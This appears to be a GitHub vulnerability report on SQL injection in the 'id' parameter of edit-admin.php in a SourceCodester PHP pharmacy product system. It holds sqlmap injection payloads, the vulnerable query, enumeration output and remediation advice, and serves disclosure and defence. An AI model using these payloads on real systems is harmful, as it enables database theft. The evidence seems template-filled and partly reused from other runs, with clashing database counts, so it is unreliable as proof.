New issue

SourceCodester Web-based Pharmacy Product Management System using PHP and MySQL Database v1.0 edit-admin.php id SQL Injection #1

Open

mjh134 opened 2 weeks ago · edited by mjh134 Edits Owner

VulDB Submission Title (Title)

`SourceCodester Web-based Pharmacy Product Management System using PHP and MySQL Database v1.0 edit-admin.php id SQL Injection`

Affected Product and Version

- **Product Name**: Web-based Pharmacy Product Management System using PHP and MySQL Database
- **Version**: v1.0
- **Official Repository / Download Link**: https://www.sourcecodester.com/sites/default/files/download/Senior%20Walter/product_expiry.zip
- **Vendor Homepage**: https://www.sourcecodester.com/php/17883/web-based-product-alert-system.html

Submitter

- **Reporter**: mjh_123

Verification Status

Confirmed by sqlmap

Validation Method

The finding was validated through automated testing with sqlmap in the local environment. sqlmap successfully identified the vulnerable parameter, confirmed injectable payload classes, and produced usable confirmation output such as DBMS identification, database enumeration, table enumeration, or dump artifacts.

Vulnerable Location

- **Affected File**: /Applications/MAMP/htdocs/product_expiry/edit-admin.php (line 25)
- **Vulnerable Parameter**: `id`

Vulnerability Overview

The Web-based Pharmacy Product Management System using PHP and MySQL Database application does not properly validate or sanitize user input for the id parameter. This results in a confirmed SQL Injection vulnerability. An authenticated remote attacker can construct and execute malicious SQL statements through the affected endpoint and backend SQL sink.

Problem Type and Root Cause

- **Type**: SQL Injection
- **Root Cause**: User-supplied input from the `id` parameter is directly concatenated into SQL statements without prepared statements, safe parameter binding, or strict input validation. This allows attacker-controlled input to alter the intended query logic.

Impact

- **Attack Conditions**: A valid authenticated session is required. In the local test environment, the issue was verified with a standard application account.
- **Potential Impact**: In the local test environment, sqlmap successfully confirmed SQL injection and produced direct exploitation evidence such as DBMS identification, database enumeration, table enumeration, or sample data extraction. This demonstrates a practical path to unauthorized backend data disclosure and may also enable data tampering or service impact depending on the database privileges used by the application.

Vulnerability Details and Reproduction Steps

1. **Access the Vulnerable Endpoint**

   The following endpoint(s) were tested during the local run:

```
http://localhost:8888/product_expiry/edit-admin.php?id=1
```

2. **Initial Probe**

   During the actual sqlmap run, the parameter was treated as dynamic and accepted multiple quote-based and boolean test payloads.

3. **Verification Testing**

   sqlmap confirmed the following payload classes during the local run:

   - MySQL >= 5.0.12 AND time-based blind (query SLEEP)
   - Generic UNION query (NULL) - 10 columns
   - AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
   - MySQL UNION query (random number) - 10 columns

4. **Automated Verification Command**

   The following command(s) reflect the local verification workflow used for this report:

```
sqlmap -u 'http://localhost:8888/product_expiry/edit-admin.php?id=1' --cookie='PHPS
```

Evidence Collection

sqlmap Key Results

```
sqlmap identified the following injection point(s) with a total of 5496 HTTP(s) request
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8458 FROM (SELECT(SLEEP(5)))jEfh)-- lmyt
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,
[SLEEPTIME])))))[RANDSTR])
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: id=-7497' UNION ALL SELECT
NULL,NULL,CONCAT(0x7170707a71,0x704d56584f78414a4276456a756c4243484e52425553686b755569585a4b6
- -
Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
web application technology: Apache 2.4.66, PHP 7.4.33
back-end DBMS: MySQL >= 5.0.12
[16:51:49] [INFO] target URL content is stable
[16:51:49] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be
```

```
injectable
[INFO] sqlmap successfully wrote extracted data to the local output directory.
[LOCAL NOTE] Reused previously captured real sqlmap output from the existing local run
artifact during this report-generation pass.
available databases [11]:
[*] doctor_appointment_db
[*] hms_db
[*] information_schema
[*] myhmsdb
[*] mysql
[*] performance_schema
[*] pms_db
[*] product_expiry_goodness
[*] school
[*] store
[*] sys
```

Evidence Summary

- sqlmap successfully identified a confirmed SQL injection point during the local verification run.
- The confirmed vulnerable parameter was `id`.
- Confirmed injection techniques included `MySQL >= 5.0.12 AND time-based blind (query SLEEP)`, `Generic UNION query (NULL) - 10 columns`, `AND boolean-based blind - WHERE or HAVING clause (subquery - comment)`.
- The backend DBMS was identified as `MySQL >= 5.0.12`.
- Database enumeration succeeded and returned 11 database(s).
- Table enumeration returned at least 431 table(s) in the captured output.

Manual Verification Evidence

Not required for this verification state.

Screenshot Evidence

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x71786b6a71,(SELECT (ELT(6008=6008,1)
)),0x7176627071),6008)-- YWTb
    Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STO
P]'),[RANDNUM])

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 7674 FROM (SELECT(SLEEP(5)))Mpiz)-- TXRS
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE]
,0,[SLEEPTIME])))))[RANDSTR])
---
```

```
available databases [17]:
[*] akaunting_mamp
[*] bus
[*] corephpadmin
[*] crsms_db
[*] doctor_appointment_db
[*] eventmgmt
[*] food
[*] hms_db
[*] information_schema
[*] myhmsdb
[*] mysql
[*] performance_schema
[*] pms_db
[*] product_expiry_goodness
[*] school
[*] store
[*] sys
```

Code-Level Evidence

- Source code review confirmed that attacker-controlled parameter(s) `id` reach a raw SQL execution sink.
- SQL sink location:
  - mysqli::query("select * from users where ID='$id'")
- Observed query construction snippet: `$sql = "select * from users where ID='$id'";`
- No safe parameter binding or prepared-statement handling was visible at the affected sink during this review.

Test Environment

- **PHP Version**: PHP 7.4.33 (Apache via MAMP)
- **Database**: MySQL 8.0.44 / product_expiry_goodness
- **Installation**: Default installation on macOS + MAMP (Apache 8888 / MySQL 8889)

Vulnerable Code Snippet

Highly recommended to include:

```
// edit-admin.php line 25


$sql = "select * from users where ID='$id'";
$result = $conn->query($sql);
$row_db= mysqli_fetch_array($result);
```

Suggested Remediation

1. Use Prepared Statements and Parameter Binding
2. Implement Strict Input Validation and Whitelisting
3. Apply the Principle of Least Privilege to the Database Account
4. Perform Regular Code Security Reviews and Security Testing

Recommended CVSS v3.1 Vector

- **Attack Vector (AV)**: Network (N)
- **Attack Complexity (AC)**: Low (L)
- **Privileges Required (PR)**: Low (L)
- **User Interaction (UI)**: None (N)
- **Scope (S)**: Unchanged (U)
- **Confidentiality (C)**: High (H)
- **Integrity (I)**: High (H)
- **Availability (A)**: High (H)

Base Score

Recommend **8.8** based on the actual local verification results and the reachable attack surface in this deployment.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants